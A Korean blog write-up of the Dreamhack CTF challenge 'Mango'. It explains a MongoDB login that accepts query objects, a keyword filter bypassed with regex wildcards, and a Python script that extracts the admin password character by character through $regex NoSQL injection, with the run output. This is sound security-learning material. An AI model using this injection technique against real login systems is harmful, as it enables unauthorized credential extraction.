[Dreamhack] Mango

Sisyphus·2022년 9월 22일
0

문제 코드

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}
  • 필터링 함수입니다.
  • admin, dh, admi 라는 문자열이 있을 때 true를 반환합니다.

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});
  • 로그인 페이지입니다.
  • filter에 결렸으면 filter 출력
  • 쿼리 변수 타입을 검사하지 않기 때문에 NoSQL Injection이 발생할 수 있습니다.


익스플로잇

페이로드

http://host3.dreamhack.games:16060/login?uid=admin&upw[$regex]=DH{.*

filter 우회

filter 함수로 인해 uid[$regex]= 값에 제한이 생겨버렸습니다.
하지만 임의 문자를 뜻하는 .을 이용해서 쉽게 우회할 수 있습니다.

http://host3.dreamhack.games:16060/login?uid=ad.&upw[$regex]=D.*

익스플로잇 코드

import requests
import sys
import string
from urllib.parse import urljoin

class Solver:
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")
        self._success = 'admin'
        self._alphanumeric = string.digits + string.ascii_letters
        self._userid = 'ad.in'

    def _login(self, uid: str, upw: str) -> requests.Response:
        login_params = {"uid[$regex]": uid, "upw[$regex]": upw}
        resp = requests.get(self._login_url, params=login_params)
        return resp
    
    def _find_length(self) -> int:
        for i in range(100):
            payload = f'^.{{{i}}}$'
            
            resp = self._login(self._userid, payload)
            
            if self._success in resp.text:
                print(f'Password length: {i}')
                return i - len('DH{}')

    def _find_password(self, length: int) -> str:
        password = ''
        
        for i in range(length):
            for ch in self._alphanumeric:
                payload = f'^D.{{{password}{ch}'
                
                resp = self._login(self._userid, payload)
                
                if self._success in resp.text:
                    password += ch
                    print(f'Current password: DH{{{password}}}')
                    break
                
        return f'DH{{{password}}}'

    def solve(self) -> None:
        print("Finding password:")
        length = self._find_length()
        password = self._find_password(length)
        print(f"Password: {password}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python script.py <port>")
        sys.exit(1)
        
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

익스플로잇

 python .\exploit.py 22491                                                                        
Finding password:                                                                                  
Password length: 36                                                                                
Current password: DH{8}
Current password: DH{89}
Current password: DH{89e}
Current password: DH{89e5}
Current password: DH{89e50}
Current password: DH{89e50f}
Current password: DH{89e50fa}
Current password: DH{89e50fa6}
Current password: DH{89e50fa6f}
Current password: DH{89e50fa6fa}
Current password: DH{89e50fa6faf}
Current password: DH{89e50fa6fafe}
Current password: DH{89e50fa6fafe2}
Current password: DH{89e50fa6fafe26}
Current password: DH{89e50fa6fafe260}
Current password: DH{89e50fa6fafe2604}
Current password: DH{89e50fa6fafe2604e}
Current password: DH{89e50fa6fafe2604e3}
Current password: DH{89e50fa6fafe2604e33}
Current password: DH{89e50fa6fafe2604e33c}
Current password: DH{89e50fa6fafe2604e33c0}
Current password: DH{89e50fa6fafe2604e33c0b}
Current password: DH{89e50fa6fafe2604e33c0ba}
Current password: DH{89e50fa6fafe2604e33c0ba0}
Current password: DH{89e50fa6fafe2604e33c0ba05}
Current password: DH{89e50fa6fafe2604e33c0ba058}
Current password: DH{89e50fa6fafe2604e33c0ba0584}
Current password: DH{89e50fa6fafe2604e33c0ba05843}
Current password: DH{89e50fa6fafe2604e33c0ba05843d}
Current password: DH{89e50fa6fafe2604e33c0ba05843d3}
Current password: DH{89e50fa6fafe2604e33c0ba05843d3d}
Current password: DH{89e50fa6fafe2604e33c0ba05843d3df}
Password: DH{89e50fa6fafe2604e33c0ba05843d3df}

0개의 댓글